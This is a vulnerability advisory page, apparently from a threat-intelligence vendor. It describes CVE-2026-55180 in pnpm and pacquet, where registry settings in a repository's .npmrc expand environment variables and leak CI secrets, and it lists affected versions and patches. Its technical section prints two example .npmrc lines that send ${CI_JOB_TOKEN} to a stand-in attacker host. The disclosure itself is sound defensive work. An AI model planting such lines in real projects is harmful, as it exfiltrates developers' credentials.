Quick answers
- Is CVE-2026-55180 exploited in the wild?
- No. Junglewise Threat Intelligence has no report of CVE-2026-55180 being exploited in the wild.
- How severe is CVE-2026-55180?
- Medium severity, with a CVSS score of 6.5, published 25 June 2026.
- Which products and versions are affected?
- Pnpm Config.Reader <10.34.2, >=11.0.0 <11.5.3; Pnpm Pacquet All versions prior to pnpm 10.34.2/11.5.3 parity.
- Is there a fix for CVE-2026-55180?
- A patch was published on 2026-06-10: Patch commit a93449314f398cf4bdf2e28d033c02d37395ad22 available on shared branch; pnpm >=10.34.2 and >=11.5.3 patched Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
- How is CVE-2026-55180 attacked?
- It is attacked over the network, in a software library.
- Am I affected by CVE-2026-55180?
- Check whether you run Pnpm Config.Reader or Pnpm Pacquet at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.
Technical details
The vulnerability exists in pnpm's configuration parsing logic (config/reader/src/loadNpmrcFiles.ts, config/reader/src/getOptionsFromRootManifest.ts) and pacquet's equivalent Rust implementation. The vulnerable code substitutes ${ENV_VAR} placeholders in project .npmrc and pnpm-workspace.yaml registry URLs and authentication values before constructing dependency resolution requests. An attacker can craft a malicious repository with .npmrc entries like `registry=https://attacker.example/${CI_JOB_TOKEN}/` or `//attacker.example/:_authToken=${CI_JOB_TOKEN}`. When a developer or CI process clones the repository and runs pnpm/pacquet with sensitive environment variables set, these secrets are expanded into the registry destination and auth headers, causing requests to leak the credentials to the attacker's endpoint. The exploit requires user interaction (checking out and running pnpm commands) but no authentication. Patches (pnpm ≥10.34.2, ≥11.5.3; pacquet equivalent) disable environment variable expansion in repository-controlled registry configuration, only preserving expansion in trusted user-level .npmrc files.
Affected products
- pnpm pnpm <10.34.2, >=11.0.0 <11.5.3
- pnpm @pnpm/config.reader <10.34.2, >=11.0.0 <11.5.3
- pacquet pacquet unspecified
Identifiers
- CVE-2026-55180
- GHSA-3qhv-2rgh-x77r
Timeline
- 2026-06-10: disclosed
- 2026-06-10: patched: Patch commit a93449314f398cf4bdf2e28d033c02d37395ad22 available on shared branch; pnpm >=10.34.2 and >=11.5.3 patched